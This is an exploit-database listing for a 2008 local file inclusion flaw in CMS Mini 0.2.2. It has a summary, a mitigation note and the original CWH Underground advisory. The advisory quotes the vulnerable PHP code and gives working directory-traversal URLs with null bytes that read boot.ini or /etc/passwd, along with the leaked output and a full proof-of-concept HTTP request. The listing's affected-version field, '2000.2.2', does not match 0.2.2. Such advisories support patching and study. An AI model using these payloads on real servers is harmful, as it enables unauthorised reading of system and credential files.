CMS Mini 0.2.2 Local File Inclusion Vulnerability

vendor:

CMS Mini

by:

CWH Underground

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: CMS Mini

Affected Version From: 2000.2.2

Affected Version To: 2000.2.2

Patch Exists: YES

Related CWE: N/A

CPE: a:cmsmini:cms_mini

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2008

CMS Mini 0.2.2 Local File Inclusion Vulnerability

A vulnerability exists in CMS Mini 0.2.2 which allows an attacker to include a local file by manipulating the 'path' parameter in the 'view/index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing directory traversal characters (e.g. '../') to the vulnerable script. This will allow the attacker to include a local file, such as the 'boot.ini' file in Windows or the '/etc/passwd' file in Linux.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to upgrade to the latest version of CMS Mini.

Source

Exploit-DB raw data:

=====================================================
  CMS Mini 0.2.2 Local File Inclusion Vulnerability
=====================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 22 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : CMS Mini
 VERSION     : 0.2.2
 VENDOR	     : http://www.cmsmini.it/
 DOWNLOAD    : http://downloads.sourceforge.net/cmsmini
#####################################################

--- Local File Inclusion ---

----------------------------
 Vulnerable File [view/index.php]
----------------------------

@Line 5

   20:  if( !is_dir('../pages') ) header("location: ../admin/login.php");
   21:
   22:  $path = $_GET['path'];
   23:  $p = $_GET['p'];
   24:  $msg = $_GET['msg'];
   25:  $pext = strrchr($p, '.');
   26:  if( $path )
   27:  $dirpath = '../pages/'.$path;
   28:  else
   29:  $dirpath = '../pages';


---------
 Exploit
---------
[+] http://[Target]/[cmsmini_path]/view/?path=../../../../../../../../boot.ini%00&p=index.html
[+] http://[Target]/[cmsmini_path]/view/?path=cwh&p=../../../../../../../../boot.ini%00.html

    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/cmsmini/view/?path=../../../../../../../../../../boot.ini%00&p=index.html HTTP/1.1
[+] Host: 192.168.24.25
[+] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+] Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+] Accept-Language: en-us,en;q=0.5
[+] Accept-Encoding: gzip,deflate
[+] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+] Keep-Alive: 300
[+] Proxy-Connection: keep-alive


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-22]